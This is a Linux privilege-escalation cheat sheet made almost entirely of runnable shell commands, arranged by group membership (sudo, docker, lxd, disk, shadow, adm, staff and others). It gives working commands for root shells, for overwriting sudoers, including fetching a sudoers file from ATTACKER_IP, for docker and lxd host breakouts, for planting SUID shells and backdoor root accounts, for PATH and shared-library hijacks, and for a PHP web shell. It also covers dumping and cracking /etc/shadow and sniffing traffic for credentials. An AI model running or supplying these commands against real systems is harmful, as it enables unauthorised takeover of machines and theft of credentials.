# Members of 'sudo' (Debian/Ubuntu) or 'wheel' (RHEL/CentOS/Arch)
# can use sudo to run commands as root.
# If a user can run ANY command as root → full privesc!

# ==========================================
# CHECK YOUR SUDO PRIVILEGES
# ==========================================

sudo -l                         # List what you can run as sudo
sudo -l -U username             # Check another user's sudo (as root)

# Output examples:
# (ALL : ALL) ALL              → Can run EVERYTHING as root
# (ALL) NOPASSWD: ALL          → Root without password!
# (ALL) NOPASSWD: /bin/vim     → Only vim without password
# (root) /usr/bin/find         → Only find, needs password

# ==========================================
# FULL SUDO ACCESS
# ==========================================

sudo bash                       # Root shell
sudo su -                       # Root shell via su
sudo /bin/bash -p               # Preserved environment

# ==========================================
# RESTRICTED SUDO ABUSE — GTFOBins
# ==========================================

# If sudo is restricted to specific binaries → use GTFOBins!
# https://gtfobins.github.io/

# --- sudo vim ---
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-p")'
sudo vim -c ':set shell=/bin/bash' -c ':shell'

# --- sudo nano ---
sudo nano
# In nano: Ctrl+R → Ctrl+X → reset; sh 1>&0 2>&0
# OR: Ctrl+T → bash (if CMD is allowed)

# --- sudo less / more ---
sudo less /etc/passwd
# Once in less: !bash

sudo more /etc/passwd
# Once in more: !bash

# --- sudo man ---
sudo man man
# Once in man: !bash

# --- sudo find ---
sudo find . -exec /bin/bash \; -quit
sudo find /etc/passwd -exec bash -p \;

# --- sudo python / python3 ---
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo python  -c 'import os; os.system("/bin/bash")'

# --- sudo perl ---
sudo perl -e 'exec "/bin/bash";'

# --- sudo ruby ---
sudo ruby -e 'exec "/bin/bash"'

# --- sudo awk ---
sudo awk 'BEGIN {system("/bin/bash")}'

# --- sudo nmap ---
sudo nmap --interactive          # Old nmap (< 5.x)
# prompt: !bash

sudo nmap --script=<(echo 'os.execute("/bin/bash")')   # New nmap

# --- sudo env ---
sudo env /bin/bash

# --- sudo cp ---
# Copy /bin/bash to /tmp and make SUID
sudo cp /bin/bash /tmp/rootbash
sudo chmod +s /tmp/rootbash
/tmp/rootbash -p

# --- sudo tar ---
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# --- sudo zip ---
TF=$(mktemp -u); sudo zip $TF /etc/hosts -T -TT 'bash #'

# --- sudo curl ---
# Overwrite /etc/sudoers!
echo 'user ALL=(ALL) NOPASSWD:ALL' > /tmp/sudoers
sudo curl file:///tmp/sudoers -o /etc/sudoers

# --- sudo wget ---
sudo wget http://ATTACKER_IP/evil_sudoers -O /etc/sudoers

# --- sudo cat ---
# Read /etc/shadow!
sudo cat /etc/shadow

# --- sudo tee ---
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers

# --- sudo chmod / chown ---
sudo chmod +s /bin/bash         # Make bash SUID!
sudo chown user:user /etc/sudoers  # Take ownership of sudoers

# --- sudo systemctl ---
# Create a malicious service
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)
bash -p

# --- sudo passwd ---
sudo passwd root                # Change root password directly!

# ==========================================
# SUDO VERSION EXPLOIT
# ==========================================

sudo --version                  # Check version

# CVE-2021-3156 (Heap-Based BO in sudo) — Baron Samedit
# Affects sudo < 1.9.5p2
# Works without any sudo privileges!
sudoedit -s '\' $(python3 -c 'print("A"*65536)')
# → If crashes = vulnerable!

# CVE-2019-14287 (sudo -u#-1)
# sudo < 1.8.28 → bypass user restriction!
# If sudoers: user ALL=(ALL,!root) /bin/bash
sudo -u#-1 bash                 # Bypass! Still gets root!
sudo -u#4294967295 bash         # Same thing (unsigned -1)

# ==========================================
# WHY docker GROUP = ROOT
# ==========================================

# Docker daemon runs as root
# docker group members can talk to docker daemon
# → Can spawn privileged containers
# → Can mount host filesystem
# → Full root on host!

# ==========================================
# CHECK
# ==========================================

id | grep docker
getent group docker
docker ps                       # If this works → you're in docker group

# ==========================================
# EXPLOIT — Mount Host Filesystem
# ==========================================

# Method 1 — Alpine (small, fast)
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
# → You are NOW root on the HOST filesystem!

# Method 2 — Use existing image
docker images                   # See available images
docker run -v /:/mnt/host --rm -it ubuntu chroot /mnt/host bash
docker run -v /:/mnt/host --rm -it debian:latest chroot /mnt/host bash

# Method 3 — Add your SSH key as root
docker run -v /root:/mnt/root --rm -it alpine sh -c \
    "echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keys"

# Method 4 — Add user to sudoers
docker run -v /etc:/mnt/etc --rm -it alpine sh -c \
    "echo 'youruser ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers"

# Method 5 — Copy bash and make SUID
docker run -v /:/mnt/host --rm -it alpine sh -c \
    "cp /mnt/host/bin/bash /mnt/host/tmp/.bash && chmod +s /mnt/host/tmp/.bash"
# On host:
/tmp/.bash -p

# Method 6 — Create new root user
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host bash -c \
    "echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd && \
     echo 'backdoor:\$6\$...<SHA512_HASH>:...' >> /etc/shadow"

# ==========================================
# PRIVILEGED CONTAINER BREAKOUT
# ==========================================

# If you're already INSIDE a container
docker run --privileged -it alpine
# Inside:
mkdir /mnt/host
mount /dev/sda1 /mnt/host       # Mount host root disk
chroot /mnt/host                # Chroot into host
# You're now on the host!

# ==========================================
# DOCKER SOCKET ABUSE (no docker group, but socket access)
# ==========================================

ls -la /var/run/docker.sock     # Is it readable?
# srw-rw---- 1 root docker → docker group needed
# srw-rw-rw- 1 root docker → world writable = no group needed!

# Use curl with docker socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

# Create container via socket
curl -s --unix-socket /var/run/docker.sock -X POST \
    -H "Content-Type: application/json" \
    http://localhost/containers/create \
    -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt/host"],"Privileged":true}'

# ==========================================
# CHECK
# ==========================================

id | grep lxd
id | grep lxc

# ==========================================
# EXPLOIT — Build Alpine Image and Mount Host
# ==========================================

# Step 1: On ATTACKER — Build the image
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo bash build-alpine
# → Creates alpine-v3.x-x86_64-<date>.tar.gz

# Step 2: Transfer to TARGET
python3 -m http.server 8080
# On target:
wget http://ATTACKER_IP:8080/alpine-v3.x-x86_64-<date>.tar.gz

# Step 3: Import image
lxc image import alpine-v3.x-x86_64-<date>.tar.gz --alias alpine
lxc image list                          # Verify

# Step 4: Initialize LXD (first time only)
lxd init --auto 2>/dev/null || true

# Step 5: Create privileged container with host mount
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn mydevice disk source=/ path=/mnt/root recursive=true
lxc start pwn
lxc exec pwn -- /bin/sh

# Step 6: Inside container — do damage
# You're root inside, and /mnt/root = entire host filesystem!
cd /mnt/root
chroot . /bin/bash                       # Full root shell on host!

# Quick method (one-liner)
lxc init alpine pwn -c security.privileged=true && \
lxc config device add pwn mydev disk source=/ path=/mnt/host recursive=true && \
lxc start pwn && \
lxc exec pwn -- chroot /mnt/host /bin/bash

# ==========================================
# ALTERNATIVE — No image build (use existing)
# ==========================================

lxc image list images: | grep -i alpine    # List remote images
lxc init images:alpine/3.16 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/host recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh

# Once in shell:
# /mnt/host/bin/bash → chroot /mnt/host → full host root!

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# disk group members can read/write to raw disk devices (/dev/sdX)
# → Can read any file on disk (bypasses file permissions!)
# → Can read /etc/shadow, SSH keys, any file
# → Can write to disk directly (dangerous!)
# → No need for any FS-level permission

# ==========================================
# CHECK
# ==========================================

id | grep disk
ls -la /dev/sd*                 # View disk devices
df -h                           # Which device is root?

# ==========================================
# FIND ROOT DEVICE
# ==========================================

df -h /                         # Shows /dev/sda1 or similar
lsblk                           # Block device tree
fdisk -l 2>/dev/null            # Disk partitions

# ==========================================
# EXPLOIT — Read /etc/shadow with debugfs
# ==========================================

# debugfs = filesystem debugger (comes with e2fsprogs)
debugfs /dev/sda1               # Open root partition
# Inside debugfs:
debugfs: cat /etc/shadow        # Read shadow without root!
debugfs: cat /root/.ssh/id_rsa  # Steal root SSH key!
debugfs: dump /etc/shadow /tmp/shadow  # Dump to file

# One-liner:
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null

# ==========================================
# READ ANY FILE
# ==========================================

# Find inode of target file
debugfs -R 'stat /etc/shadow' /dev/sda1 2>/dev/null

# Read file content
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null
debugfs -R 'cat /root/.bash_history' /dev/sda1 2>/dev/null
debugfs -R 'cat /root/.ssh/id_rsa' /dev/sda1 2>/dev/null

# ==========================================
# ESCALATE — Modify /etc/sudoers via disk
# ==========================================

# DANGEROUS — Don't do on prod! (Can corrupt filesystem)
# Use echo + dd to write to raw disk
# → Safer: just read /etc/shadow → crack root hash → su root

# ==========================================
# CRACK SHADOW HASH
# ==========================================

# After dumping shadow:
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null > /tmp/shadow_dump
cat /tmp/shadow_dump | grep root    # Get root hash
hashcat -m 1800 root_hash.txt /usr/share/wordlists/rockyou.txt   # SHA-512
su root                             # Use cracked password

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# /etc/shadow is readable by root and shadow group
# Contains password hashes of ALL users
# → Get shadow → crack hashes → su/ssh as any user

# ==========================================
# CHECK
# ==========================================

id | grep shadow
ls -la /etc/shadow
# -rw-r----- 1 root shadow → shadow group can read it!

# ==========================================
# EXPLOIT
# ==========================================

# Read /etc/shadow directly!
cat /etc/shadow

# Copy for cracking
cat /etc/shadow > /tmp/shadow_copy

# Identify hash type from format:
# $1$  = MD5
# $2y$ = bcrypt
# $5$  = SHA-256
# $6$  = SHA-512 (most common)
# $y$  = yescrypt

# ==========================================
# CRACK WITH HASHCAT
# ==========================================

# SHA-512 (most common)
hashcat -m 1800 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# SHA-256
hashcat -m 7400 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 500 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# With rules (faster)
hashcat -m 1800 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule

# John the Ripper (auto-detects hash type)
john /tmp/shadow_copy --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/shadow_copy --show      # Show cracked passwords

# Combine passwd + shadow for john
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed
john /tmp/unshadowed --wordlist=/usr/share/wordlists/rockyou.txt

# ==========================================
# AFTER CRACKING
# ==========================================

su root                           # If root hash cracked
su admin                          # Other user
ssh root@localhost                # If SSH enabled

# ==========================================
# WHAT adm GROUP CAN READ
# ==========================================

# adm group typically has read access to:
# /var/log/auth.log       → SSH logins, sudo, su attempts (CREDS!)
# /var/log/syslog         → System events
# /var/log/kern.log       → Kernel messages
# /var/log/apache2/       → Web server logs (URLs with passwords!)
# /var/log/nginx/         → Nginx logs
# /var/log/mail.log       → Mail logs
# /var/log/cron.log       → Cron job logs (may show commands!)
# /var/log/mysql/         → MySQL logs (queries with passwords!)

# ==========================================
# CHECK
# ==========================================

id | grep adm
ls -la /var/log/

# ==========================================
# FIND CREDENTIALS IN LOGS
# ==========================================

# SSH failed logins (usernames being tried)
cat /var/log/auth.log | grep "Failed password"
cat /var/log/auth.log | grep "Accepted password"   # Successful logins!

# sudo commands (what have privileged users been running?)
cat /var/log/auth.log | grep "sudo"
cat /var/log/auth.log | grep "COMMAND"             # Full sudo commands!

# su usage
cat /var/log/auth.log | grep "su:"

# Web logs — look for passwords in URLs (bad practice but common!)
cat /var/log/apache2/access.log | grep -i "pass\|password\|token\|secret\|key"
cat /var/log/nginx/access.log   | grep -i "pass\|password"

# MySQL logs
cat /var/log/mysql/mysql.log 2>/dev/null | grep -i "password\|pass\|user"

# Cron logs (shows commands run by root!)
cat /var/log/cron.log | grep -i "CMD"
cat /var/log/syslog   | grep -i "CRON"

# ==========================================
# MINE auth.log FOR PRIVESC LEADS
# ==========================================

# Find users that have sudo'd recently
grep "sudo" /var/log/auth.log | grep "COMMAND" | awk '{print $6, $13}'

# Find cleartext passwords (passed via command line)
grep -E "pass=|password=|passwd=" /var/log/auth.log
grep -E "pass=|password=|passwd=" /var/log/syslog

# Find internal service credentials
grep -r "password\|secret\|token\|api_key" /var/log/ 2>/dev/null

# ==========================================
# JOURNALD LOGS (systemd)
# ==========================================

journalctl                       # All systemd logs (if adm/systemd-journal)
journalctl -u sshd               # SSH service logs
journalctl -u cron               # Cron logs
journalctl --grep "password"     # Search for password in all logs
journalctl -xe                   # Recent errors with context

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# video group has access to:
# /dev/fb0  → Framebuffer (raw pixel data of screen)
# /dev/video*  → Webcam/capture devices
# → Take screenshot of current display
# → See what root/admin is doing on screen!

# ==========================================
# CHECK
# ==========================================

id | grep video
ls -la /dev/fb*
ls -la /dev/video*

# ==========================================
# SCREENSHOT FRAMEBUFFER
# ==========================================

# Read raw framebuffer (screenshot of current screen!)
cat /dev/fb0 > /tmp/screen.raw

# Convert to PNG (need to know resolution and bit depth)
# Get framebuffer info
cat /sys/class/graphics/fb0/virtual_size    # e.g., 1920,1080
cat /sys/class/graphics/fb0/bits_per_pixel  # e.g., 32

# Convert with ffmpeg
WIDTH=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1)
HEIGHT=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2)
BPP=$(cat /sys/class/graphics/fb0/bits_per_pixel)

# BGRA format (common)
ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt bgra \
    -s ${WIDTH}x${HEIGHT} -i /dev/fb0 /tmp/screen.png

# With convert (ImageMagick)
PIXEL_FORMAT="rgba"  # or bgra
convert -size ${WIDTH}x${HEIGHT} -depth 8 \
    ${PIXEL_FORMAT}:/dev/fb0 /tmp/screen.png

# ==========================================
# LOOK FOR SENSITIVE INFO ON SCREEN
# ==========================================

# Admin may be typing passwords, viewing /etc/shadow, etc.
# Continuous capture (every 5 seconds)
while true; do
    cat /dev/fb0 > /tmp/screen_$(date +%s).raw
    sleep 5
done

# ==========================================
# WHAT staff GROUP CAN DO
# ==========================================

# staff group has write access to:
# /usr/local/
# /usr/local/bin/
# /usr/local/lib/
# /usr/local/sbin/
# → Place malicious binaries/libraries in standard PATH locations!
# → When root or other users run programs → hijack them!

# ==========================================
# CHECK
# ==========================================

id | grep staff
ls -la /usr/local/bin/
ls -la /usr/local/lib/

# ==========================================
# EXPLOIT 1 — Binary Hijacking in PATH
# ==========================================

# /usr/local/bin is usually BEFORE /usr/bin in PATH!
echo $PATH
# /usr/local/sbin:/usr/local/bin:/usr/bin:/bin → local first!

# Create malicious binary with same name as commonly-run command
cat > /usr/local/bin/service << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
/usr/bin/service "$@"   # Pass through to real binary
EOF
chmod +x /usr/local/bin/service

# Wait for root/admin to run 'service' → /tmp/rootbash created with SUID
# Then: /tmp/rootbash -p → root shell!

# Common binaries to hijack (frequently run by root/scripts):
# service, python, python3, pip, pip3, gcc, make, curl, wget

# ==========================================
# EXPLOIT 2 — Shared Library Hijacking
# ==========================================

# Place malicious .so in /usr/local/lib/
# If target binary links libraries from there → code execution!

cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    system("cp /bin/bash /tmp/.b && chmod +s /tmp/.b");
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libservice.so /tmp/evil.c
ldconfig

# ==========================================
# EXPLOIT 3 — sudo PATH hijack
# ==========================================

# If admin runs: sudo service restart
# And PATH includes /usr/local/bin
# Your fake 'service' runs as root!

# Check if secure_path is set in sudoers
sudo -l | grep "env_keep\|secure_path"
# If no secure_path → PATH hijack works!

# ==========================================
# WHAT dialout GROUP DOES
# ==========================================

# dialout group has access to:
# /dev/ttyS*   → Serial ports
# /dev/ttyUSB* → USB serial adapters
# /dev/ttyACM* → USB ACM devices
# → Serial console to other machines
# → Talk to modems, routers, embedded devices
# → Potential pivoting through serial connections

# ==========================================
# CHECK
# ==========================================

id | grep dialout
id | grep uucp
ls -la /dev/ttyS*
ls -la /dev/ttyUSB*
ls -la /dev/ttyACM*

# ==========================================
# EXPLOIT — Serial Console Access
# ==========================================

# Connect to serial port (may be another machine's console!)
screen /dev/ttyS0 9600           # 9600 baud (common default)
screen /dev/ttyUSB0 115200       # 115200 baud (Raspberry Pi etc.)
minicom -s                       # Configure and connect
picocom /dev/ttyS0 -b 9600       # Lightweight serial client

# Try common baud rates if you don't know
for baud in 9600 19200 38400 57600 115200 230400; do
    echo "Trying $baud..."
    screen /dev/ttyS0 $baud &
    sleep 2
    kill %1 2>/dev/null
done

# Once connected to a console:
# → May drop into unauthenticated root shell (embedded devices!)
# → May be a network device (router, switch)
# → May be a server's physical console

# ==========================================
# CHECK
# ==========================================

id | grep systemd-journal
ls -la /var/log/journal/
ls -la /run/log/journal/

# ==========================================
# EXPLOIT — Mine Logs for Credentials
# ==========================================

# Read ALL journal logs (requires systemd-journal group)
journalctl                               # Entire journal
journalctl --no-pager                    # Without pagination

# Find credentials in logs
journalctl | grep -iE "password|passwd|secret|token|key|cred"
journalctl -u sshd | grep "Accepted"    # Successful SSH logins
journalctl -u sudo | grep "COMMAND"     # Root commands run via sudo

# Find service start args (may include passwords!)
journalctl -u mysql | grep -i "password"
journalctl -u postgresql | grep -i "password"

# Look for cleartext credentials in startup logs
journalctl -b | grep -iE "pass=|password=|secret=|key="

# Boot logs (kernel + all service starts)
journalctl -b 0                          # Current boot
journalctl -b -1                         # Previous boot

# Recent activity (last hour)
journalctl --since "1 hour ago"

# ==========================================
# WHAT kmem GROUP DOES
# ==========================================

# kmem group has read access to:
# /dev/kmem → Kernel virtual memory (legacy)
# /dev/mem  → Physical memory
# → Read kernel data structures
# → Extract encryption keys from kernel
# → Bypass kernel address space randomization (KASLR)

# ==========================================
# CHECK
# ==========================================

id | grep kmem
ls -la /dev/kmem /dev/mem 2>/dev/null

# ==========================================
# EXPLOIT CONCEPT
# ==========================================

# Read physical memory (look for cleartext passwords, keys)
strings /dev/mem 2>/dev/null | grep -iE "password|secret|key" | head -50

# Use dd to read specific memory ranges
dd if=/dev/mem of=/tmp/memdump bs=1M count=10 2>/dev/null

# Search for credentials in memory dump
strings /tmp/memdump | grep -iE "password|passwd|secret"

# Advanced: use volatility-style analysis for kernel structures
# (Primarily used for post-exploitation forensics bypasses)

# ==========================================
# CHECK
# ==========================================

id | grep tape
ls -la /dev/st*          # SCSI tape devices
ls -la /dev/nst*         # Non-rewinding SCSI tape

# ==========================================
# EXPLOIT
# ==========================================

# If backups are stored on tape → read entire backup!
# Backups often contain /etc/shadow, SSH keys, databases!

# Read tape contents
mt -f /dev/st0 status           # Check tape status
mt -f /dev/st0 rewind           # Rewind to start
dd if=/dev/st0 of=/tmp/tape_dump bs=64k    # Dump tape to file

# If tar backup on tape
mt -f /dev/st0 rewind
tar -xvf /dev/st0 -C /tmp/      # Extract backup!
# → May contain /etc/shadow, private keys, config files!

# List files on tape
mt -f /dev/st0 rewind
tar -tvf /dev/st0               # List without extracting

# ==========================================
# IF YOUR PRIMARY GROUP IS root (GID=0)
# ==========================================

# Not the same as being root user!
# But GID 0 group can read files owned by root group

# Check primary group
id
# uid=1001(user) gid=0(root) groups=...  ← GID 0!

# Find files writable by root group
find / -group root -perm -g=w -type f 2>/dev/null

# Common files accessible:
ls -la /etc/passwd    # root:root, 644 → readable by all
ls -la /etc/crontab   # May be root group writable!

# Find root-group writable files (potential hijack!)
find / -group root -writable -type f 2>/dev/null

# ==========================================
# CHECK
# ==========================================

id | grep -E "pcap|wireshark"
ls -la /usr/bin/dumpcap
ls -la /usr/bin/tcpdump

# ==========================================
# EXPLOIT — Sniff Network for Credentials
# ==========================================

# Capture all traffic on interface
tcpdump -i eth0 -w /tmp/capture.pcap

# Capture specific protocols
tcpdump -i eth0 port 21 -w /tmp/ftp.pcap      # FTP (cleartext creds!)
tcpdump -i eth0 port 23 -w /tmp/telnet.pcap   # Telnet (cleartext!)
tcpdump -i eth0 port 80 -w /tmp/http.pcap     # HTTP (may have POST creds)
tcpdump -i eth0 port 110 -w /tmp/pop3.pcap    # POP3 mail
tcpdump -i eth0 port 143 -w /tmp/imap.pcap    # IMAP mail
tcpdump -i eth0 port 389 -w /tmp/ldap.pcap    # LDAP (AD authentication!)

# Sniff localhost (internal service creds!)
tcpdump -i lo -w /tmp/localhost.pcap

# Sniff and extract strings
tcpdump -i eth0 -A -s 0 | grep -iE "pass|user|login|auth"

# dumpcap (wireshark group)
dumpcap -i eth0 -w /tmp/capture.pcap

# tshark (wireshark CLI)
tshark -i eth0 -Y "ftp || http || ldap" -T fields \
    -e ip.src -e ip.dst -e http.request.method \
    -e http.file_data

# ==========================================
# READ EXISTING PCAP FILES
# ==========================================

find / -name "*.pcap" -o -name "*.cap" 2>/dev/null

# Extract credentials from pcap
tshark -r /tmp/capture.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
tshark -r /tmp/capture.pcap -Y "http.request.method==POST"
# Look for login forms, basic auth headers, etc.

# Use network-miner / pwncat for automated cred extraction

# ==========================================
# fail2ban GROUP
# ==========================================

# fail2ban group can write/modify fail2ban action configs
# → Inject commands into fail2ban actions (run as root!)

id | grep fail2ban
ls -la /etc/fail2ban/action.d/

# Exploit: modify an action file to execute code when triggered
cat /etc/fail2ban/action.d/iptables.conf | grep "actionban"

# Inject into actionban (runs as root when a ban is triggered!)
# Then trigger a ban by failing SSH login multiple times from attacker
nano /etc/fail2ban/action.d/iptables.conf
# Change actionban line to include your payload:
# actionban = iptables -I f2b-<name> 1 -s <ip> -j DROP; cp /bin/bash /tmp/b; chmod +s /tmp/b

# ==========================================
# logrotate GROUP
# ==========================================

# If logrotate config is writable → write to files during rotation!
id | grep logrotate
ls -la /etc/logrotate.conf
ls -la /etc/logrotate.d/

# Exploit: add postrotate script to execute as root
# Requires writable logrotate config AND logrotate runs as root (via cron)

# Find writable logrotate configs
find /etc/logrotate.d/ -writable 2>/dev/null

# Add malicious postrotate to writable config:
echo 'postrotate
    /bin/bash -c "chmod +s /bin/bash"
endscript' >> /etc/logrotate.d/nginx

# ==========================================
# CHECK
# ==========================================

id | grep www-data
ls -la /var/www/html/
ls -la /etc/apache2/ /etc/nginx/

# ==========================================
# EXPLOIT — Write Web Shell
# ==========================================

# If web root is writable by www-data group
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Access: http://target.com/shell.php?cmd=id

# ==========================================
# FIND CREDENTIALS IN WEB CONFIG FILES
# ==========================================

# WordPress config (database passwords!)
cat /var/www/html/wp-config.php | grep -E "DB_USER|DB_PASSWORD|DB_HOST"

# Laravel .env
cat /var/www/html/.env | grep -E "DB_|MAIL_|APP_KEY"

# Symfony config
cat /var/www/html/app/config/parameters.yml

# Django settings
cat /var/www/html/settings.py | grep -E "PASSWORD|SECRET|KEY"

# Generic search
grep -r "password\|passwd\|secret\|key\|token" /var/www/ 2>/dev/null | \
    grep -v ".js\|.css\|.min" | head -50

# ==========================================
# SCENARIO 1 — User in Multiple Dangerous Groups
# ==========================================

# If you're in docker + sudo (less common but devastating):
# → docker = instant root anyway, sudo overkill

# Most impactful combinations:
# shadow + adm → Read hashes + read logs → crack root hash
# adm + www-data → Read logs for DB creds + write web shell
# disk + shadow → Two independent paths to hashes

# ==========================================
# SCENARIO 2 — Newgrp (Switch Active Group)
# ==========================================

# If you're a member of a group but it's not your active group:
newgrp docker           # Switch active group to docker
newgrp shadow           # Switch active group to shadow
# This doesn't require password if you're already a member!

# Verify switch
id                      # Confirm gid is now docker/shadow

# ==========================================
# SCENARIO 3 — Add Yourself to a Group (as root)
# ==========================================

# If you already got root → add user to all dangerous groups!
usermod -aG docker,sudo,shadow,adm,disk,lxd youruser

# ==========================================
# SCENARIO 4 — ACL (Access Control Lists)
# ==========================================

# Sometimes file access is via ACL not standard groups
getfacl /etc/shadow     # Check ACL on shadow
getfacl /var/log/auth.log

# Find files with ACLs
find / -type f -acl 2>/dev/null | head -20
getfacl -R /var/www/ 2>/dev/null | grep "user:youruser"

# ==========================================
# SCENARIO 5 — Group Writable Critical Files
# ==========================================

# Find group-writable sensitive files
find /etc -writable -type f 2>/dev/null        # Writable /etc files
find /etc -group yourgroup -writable 2>/dev/null

# Critical group-writable files → instant privesc:
# /etc/passwd (write → add root user!)
# /etc/sudoers (write → add sudo rule!)
# /etc/crontab (write → add root cron job!)
# /etc/cron.d/* (write → add root cron job!)
# /etc/ssh/sshd_config (write → enable root login!)

# ==========================================
# LINPEAS (Best All-Around)
# ==========================================

# Download
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# Run
chmod +x linpeas.sh
./linpeas.sh 2>/dev/null

# Pipe to less with color
./linpeas.sh 2>/dev/null | less -R

# Save output
./linpeas.sh 2>/dev/null | tee linpeas_output.txt

# linpeas HIGHLIGHTS groups section:
# → [+] Interesting Groups - Members
# → [+] My user
# → [+] Sudo version

# ==========================================
# LSE (Linux Smart Enumeration)
# ==========================================

wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh

./lse.sh           # Level 0 (quick check)
./lse.sh -l 1      # Level 1 (more info)
./lse.sh -l 2      # Level 2 (everything)

# ==========================================
# LINENUM
# ==========================================

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Thorough mode + keyword search
./LinEnum.sh -t -k password

# ==========================================
# PSPY (Process Spy — no root needed!)
# ==========================================

# See what processes root is running (find cron commands, scripts)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
./pspy64

# Wait and watch — you'll see every command root runs!
# Look for:
# → Cron jobs (commands with root UID=0)
# → Scripts that run with root privilege
# → Passwords passed as command-line arguments!

# ==========================================
# MANUAL GROUP CHECK ONE-LINER
# ==========================================

echo "=== CURRENT USER ===" && id && \
echo "=== INTERESTING GROUPS ===" && \
for g in sudo wheel docker lxd lxc disk shadow adm staff video kmem tape uucp dialout pcap wireshark fail2ban; do
    getent group $g 2>/dev/null && echo "  ↑ YOU MAY BE IN THIS!"
done && \
echo "=== YOUR SUDO RIGHTS ===" && sudo -l 2>/dev/null